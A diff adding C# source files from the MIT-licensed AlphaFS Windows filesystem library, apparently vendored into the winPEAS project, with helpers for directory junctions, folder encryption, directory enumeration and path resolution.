* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Globalization;
using System.IO;
using System.Security;
using winPEAS._3rdParty.AlphaFS;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>Deletes an NTFS directory junction.</summary>
/// <remarks>Only the directory junction is removed, not the target.</remarks>
/// <returns>A <see cref="DirectoryInfo"/> instance referencing the junction point.</returns>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotAReparsePointException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="fsEntryInfo">A FileSystemEntryInfo instance. Use either <paramref name="fsEntryInfo"/> or <paramref name="junctionPath"/>, not both.</param>
/// <param name="junctionPath">The path of the junction point to remove.</param>
/// <param name="removeDirectory">When <c>true</c>, also removes the directory and all its contents.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
internal static void DeleteJunctionCore(KernelTransaction transaction, FileSystemEntryInfo fsEntryInfo, string junctionPath, bool removeDirectory, PathFormat pathFormat)
{
if (null == fsEntryInfo)
{
if (pathFormat != PathFormat.LongFullPath)
{
Path.CheckSupportedPathFormat(junctionPath, true, true);
junctionPath = Path.GetExtendedLengthPathCore(transaction, junctionPath, pathFormat, GetFullPathOptions.CheckInvalidPathChars | GetFullPathOptions.RemoveTrailingDirectorySeparator);
pathFormat = PathFormat.LongFullPath;
}
fsEntryInfo = File.GetFileSystemEntryInfoCore(transaction, true, junctionPath, false, pathFormat);
if (!fsEntryInfo.IsMountPoint)
throw new NotAReparsePointException(string.Format(CultureInfo.InvariantCulture, Resources.Directory_Is_Not_A_MountPoint, fsEntryInfo.LongFullPath), (int) Win32Errors.ERROR_NOT_A_REPARSE_POINT);
}
pathFormat = PathFormat.LongFullPath;
// Remove the directory junction.
using (var safeHandle = OpenDirectoryJunction(transaction, fsEntryInfo.LongFullPath, pathFormat))
Device.DeleteDirectoryJunction(safeHandle);
// Optionally the folder itself, which should and must be empty.
if (removeDirectory)
DeleteDirectoryCore(transaction, fsEntryInfo, null, false, false, true, pathFormat);
}
}
}

View File

@@ -0,0 +1,63 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>Enables/disables encryption of the specified directory and the files in it.
/// <para>This method only creates/modifies the file "Desktop.ini" in the root of <paramref name="path"/> and enables/disables encryption by writing: "Disable=0" or "Disable=1".</para>
/// <para>This method does not affect encryption of files and subdirectories below the indicated directory.</para>
/// </summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryReadOnlyException"/>
/// <exception cref="FileReadOnlyException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">The name of the directory for which to enable encryption.</param>
/// <param name="enable"><c>true</c> enabled encryption, <c>false</c> disables encryption.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
internal static void EnableDisableEncryptionCore(string path, bool enable, PathFormat pathFormat)
{
if (Utils.IsNullOrWhiteSpace(path))
throw new ArgumentNullException("path");
var pathLp = Path.GetExtendedLengthPathCore(null, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);
// EncryptionDisable()
// 2013-01-13: MSDN does not confirm LongPath usage and no Unicode version of this function exists.
var success = NativeMethods.EncryptionDisable(pathLp, !enable);
var lastError = Marshal.GetLastWin32Error();
if (!success)
NativeError.ThrowException(lastError, true, pathLp);
}
}
}

View File

@@ -0,0 +1,67 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>Decrypts/encrypts a directory recursively so that only the account used to encrypt the directory can decrypt it.</summary>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryReadOnlyException"/>
/// <exception cref="FileReadOnlyException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="path">A path that describes a directory to encrypt.</param>
/// <param name="encrypt"><c>true</c> encrypt, <c>false</c> decrypt.</param>
/// <param name="recursive"><c>true</c> to decrypt the directory recursively. <c>false</c> only decrypt files and directories in the root of <paramref name="path"/>.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
internal static void EncryptDecryptDirectoryCore(string path, bool encrypt, bool recursive, PathFormat pathFormat)
{
if (pathFormat != PathFormat.LongFullPath)
{
path = Path.GetExtendedLengthPathCore(null, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);
pathFormat = PathFormat.LongFullPath;
}
// Process folders and files when recursive.
if (recursive)
{
foreach (var fsei in EnumerateFileSystemEntryInfosCore<string>(null, null, path, Path.WildcardStarMatchAll, SearchOption.AllDirectories, DirectoryEnumerationOptions.AsLongPath, null, pathFormat))
File.EncryptDecryptFileCore(true, fsei, encrypt, pathFormat);
}
// Process the root folder, the given path.
File.EncryptDecryptFileCore(true, path, encrypt, pathFormat);
}
}
}

View File

@@ -0,0 +1,141 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.IO;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.AccessControl;
using System.Text;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>Returns an enumerable collection of information about files in the directory handle specified.</summary>
/// <returns>An IEnumerable of <see cref="FileIdBothDirectoryInfo"/> records for each file system entry in the specified diretory.</returns>
/// <exception cref="PlatformNotSupportedException">The operating system is older than Windows Vista.</exception>
/// <remarks>
/// <para>Either use <paramref name="path"/> or <paramref name="safeFileHandle"/>, not both.</para>
/// <para>
/// The number of files that are returned for each call to GetFileInformationByHandleEx depends on the size of the buffer that is passed to the function.
/// Any subsequent calls to GetFileInformationByHandleEx on the same handle will resume the enumeration operation after the last file is returned.
/// </para>
/// </remarks>
/// <exception cref="PlatformNotSupportedException">The operating system is older than Windows Vista.</exception>
/// <param name="transaction">The transaction.</param>
/// <param name="safeFileHandle">An open handle to the directory from which to retrieve information.</param>
/// <param name="path">A path to the directory.</param>
/// <param name="shareMode">The <see cref="FileShare"/> mode with which to open a handle to the directory.</param>
/// <param name="continueOnException"><c>true</c> suppress any Exception that might be thrown as a result from a failure, such as ACLs protected directories or non-accessible reparse points.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
internal static IEnumerable<FileIdBothDirectoryInfo> EnumerateFileIdBothDirectoryInfoCore(KernelTransaction transaction, SafeFileHandle safeFileHandle, string path, FileShare shareMode, bool continueOnException, PathFormat pathFormat)
{
if (!NativeMethods.IsAtLeastWindowsVista)
throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message);
var pathLp = path;
var callerHandle = null != safeFileHandle;
if (!callerHandle)
{
if (Utils.IsNullOrWhiteSpace(path))
throw new ArgumentNullException("path");
pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);
safeFileHandle = File.CreateFileCore(transaction, true, pathLp, ExtendedFileAttributes.BackupSemantics, null, FileMode.Open, FileSystemRights.ReadData, shareMode, true, false, PathFormat.LongFullPath);
}
try
{
if (!NativeMethods.IsValidHandle(safeFileHandle, Marshal.GetLastWin32Error(), !continueOnException))
yield break;
var fileNameOffset = (int) Marshal.OffsetOf(typeof(NativeMethods.FILE_ID_BOTH_DIR_INFO), "FileName");
using (var safeBuffer = new SafeGlobalMemoryBufferHandle(NativeMethods.DefaultFileBufferSize))
{
while (true)
{
var success = NativeMethods.GetFileInformationByHandleEx(safeFileHandle, NativeMethods.FILE_INFO_BY_HANDLE_CLASS.FILE_ID_BOTH_DIR_INFO, safeBuffer, (uint) safeBuffer.Capacity);
var lastError = Marshal.GetLastWin32Error();
if (!success)
{
switch ((uint) lastError)
{
case Win32Errors.ERROR_SUCCESS:
case Win32Errors.ERROR_NO_MORE_FILES:
case Win32Errors.ERROR_HANDLE_EOF:
yield break;
case Win32Errors.ERROR_MORE_DATA:
continue;
default:
NativeError.ThrowException(lastError, pathLp);
// Keep the compiler happy as we never get here.
yield break;
}
}
var offset = 0;
NativeMethods.FILE_ID_BOTH_DIR_INFO fibdi;
do
{
fibdi = safeBuffer.PtrToStructure<NativeMethods.FILE_ID_BOTH_DIR_INFO>(offset);
var fileName = safeBuffer.PtrToStringUni(offset + fileNameOffset, (int) (fibdi.FileNameLength / UnicodeEncoding.CharSize));
offset += fibdi.NextEntryOffset;
if (File.IsDirectory(fibdi.FileAttributes) &&
(fileName.Equals(Path.CurrentDirectoryPrefix, StringComparison.Ordinal) ||
fileName.Equals(Path.ParentDirectoryPrefix, StringComparison.Ordinal)))
continue;
yield return new FileIdBothDirectoryInfo(fibdi, fileName);
} while (fibdi.NextEntryOffset != 0);
}
}
}
finally
{
// Handle is ours, dispose.
if (!callerHandle && null != safeFileHandle && !safeFileHandle.IsClosed)
safeFileHandle.Close();
}
}
}
}

View File

@@ -0,0 +1,104 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Collections.Generic;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path using <see cref="DirectoryEnumerationOptions"/> and <see cref="DirectoryEnumerationFilters"/>.</summary>
/// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name="T"/>.</returns>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="DirectoryNotFoundException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <typeparam name="T">The type to return. This may be one of the following types:
/// <list type="definition">
/// <item>
/// <term><see cref="FileSystemEntryInfo"/></term>
/// <description>This method will return instances of <see cref="FileSystemEntryInfo"/> instances.</description>
/// </item>
/// <item>
/// <term><see cref="FileSystemInfo"/></term>
/// <description>This method will return instances of <see cref="DirectoryInfo"/> and <see cref="FileInfo"/> instances.</description>
/// </item>
/// <item>
/// <term><see cref="string"/></term>
/// <description>This method will return the full path of each item.</description>
/// </item>
/// </list>
/// </typeparam>
/// <param name="onlyFolders"></param>
/// <param name="transaction">The transaction.</param>
/// <param name="path">The directory to search.</param>
/// <param name="searchPattern">
/// The search string to match against the names of directories in <paramref name="path"/>.
/// This parameter can contain a combination of valid literal path and wildcard
/// (<see cref="Path.WildcardStarMatchAll"/> and <see cref="Path.WildcardQuestion"/>) characters, but does not support regular expressions.
/// </param>
/// <param name="searchOption"></param>
/// <param name="options"><see cref="DirectoryEnumerationOptions"/> flags that specify how the directory is to be enumerated.</param>
/// <param name="filters">The specification of custom filters to be used in the process.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
internal static IEnumerable<T> EnumerateFileSystemEntryInfosCore<T>(bool? onlyFolders, KernelTransaction transaction, string path, string searchPattern, SearchOption? searchOption, DirectoryEnumerationOptions? options, DirectoryEnumerationFilters filters, PathFormat pathFormat)
{
if (null == options)
options = DirectoryEnumerationOptions.None;
if (searchOption == SearchOption.AllDirectories)
options |= DirectoryEnumerationOptions.Recursive;
if (null != onlyFolders)
{
// Adhere to the method name by validating the DirectoryEnumerationOptions value.
// For example, method Directory.EnumerateDirectories() should only return folders
// and method Directory.EnumerateFiles() should only return files.
// Folders only.
if ((bool) onlyFolders)
{
options &= ~DirectoryEnumerationOptions.Files; // Remove enumeration of files.
options |= DirectoryEnumerationOptions.Folders; // Add enumeration of folders.
}
// Files only.
else
{
options &= ~DirectoryEnumerationOptions.Folders; // Remove enumeration of folders.
options |= DirectoryEnumerationOptions.Files; // Add enumeration of files.
}
}
return new FindFileSystemEntryInfo(transaction, true, path, searchPattern, options, filters, pathFormat, typeof(T)).Enumerate<T>();
}
}
}

View File

@@ -0,0 +1,72 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.IO;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>Determines whether the given path refers to an existing directory junction on disk.</summary>
/// <returns>
/// <para>Returns <c>true</c> if <paramref name="junctionPath"/> refers to an existing directory junction.</para>
/// <para>Returns <c>false</c> if the directory junction does not exist or an error occurs when trying to determine if the specified file exists.</para>
/// </returns>
/// <para>&#160;</para>
/// <remarks>
/// <para>The Exists method returns <c>false</c> if any error occurs while trying to determine if the specified file exists.</para>
/// <para>This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters,</para>
/// <para>a failing or missing disk, or if the caller does not have permission to read the file.</para>
/// </remarks>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="IOException"/>
/// <exception cref="NotSupportedException"/>
/// <exception cref="UnauthorizedAccessException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="fsEntryInfo">A FileSystemEntryInfo instance. Use either <paramref name="fsEntryInfo"/> or <paramref name="junctionPath"/>, not both.</param>
/// <param name="junctionPath">The path to test.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
internal static bool ExistsJunctionCore(KernelTransaction transaction, FileSystemEntryInfo fsEntryInfo, string junctionPath, PathFormat pathFormat)
{
if (null == fsEntryInfo)
{
if (pathFormat != PathFormat.LongFullPath)
{
Path.CheckSupportedPathFormat(junctionPath, true, true);
junctionPath = Path.GetExtendedLengthPathCore(transaction, junctionPath, pathFormat, GetFullPathOptions.CheckInvalidPathChars | GetFullPathOptions.RemoveTrailingDirectorySeparator);
pathFormat = PathFormat.LongFullPath;
}
fsEntryInfo = File.GetFileSystemEntryInfoCore(transaction, true, junctionPath, true, pathFormat);
}
return null != fsEntryInfo && fsEntryInfo.IsMountPoint;
}
}
}

View File

@@ -0,0 +1,57 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System;
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>Returns the volume information, root information, or both for the specified path.</summary>
/// <returns>The volume information, root information, or both for the specified path, or <c>null</c> if <paramref name="path"/> path does not contain root directory information.</returns>
/// <exception cref="ArgumentException"/>
/// <exception cref="ArgumentNullException"/>
/// <exception cref="NotSupportedException"/>
/// <param name="transaction">The transaction.</param>
/// <param name="path">The path of a file or directory.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
internal static string GetDirectoryRootCore(KernelTransaction transaction, string path, PathFormat pathFormat)
{
var pathLp = path;
if (pathFormat != PathFormat.LongFullPath)
{
Path.CheckInvalidUncPath(path);
pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.CheckInvalidPathChars);
pathLp = Path.GetRegularPathCore(pathLp, GetFullPathOptions.None, false);
}
var rootPath = Path.GetPathRoot(pathLp, false);
return Utils.IsNullOrWhiteSpace(rootPath) ? null : rootPath;
}
}
}

View File

@@ -0,0 +1,45 @@
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
using System.Security;
namespace Alphaleonis.Win32.Filesystem
{
public static partial class Directory
{
/// <summary>Retrieves the parent directory of the specified path, including both absolute and relative paths.</summary>
/// <returns>The parent directory, or <c>null</c> if <paramref name="path"/> is the root directory, including the root of a UNC server or share name.</returns>
/// <param name="transaction">The transaction.</param>
/// <param name="path">The path for which to retrieve the parent directory.</param>
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
[SecurityCritical]
internal static DirectoryInfo GetParentCore(KernelTransaction transaction, string path, PathFormat pathFormat)
{
var pathLp = pathFormat == PathFormat.LongFullPath ? path : Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.CheckInvalidPathChars);
pathLp = Path.GetRegularPathCore(pathLp, GetFullPathOptions.None, false);
var dirName = Path.GetDirectoryName(pathLp, false);
return !Utils.IsNullOrWhiteSpace(dirName) ? new DirectoryInfo(transaction, dirName, PathFormat.RelativePath) : null;
}
}
}

Some files were not shown because too many files have changed in this diff Show More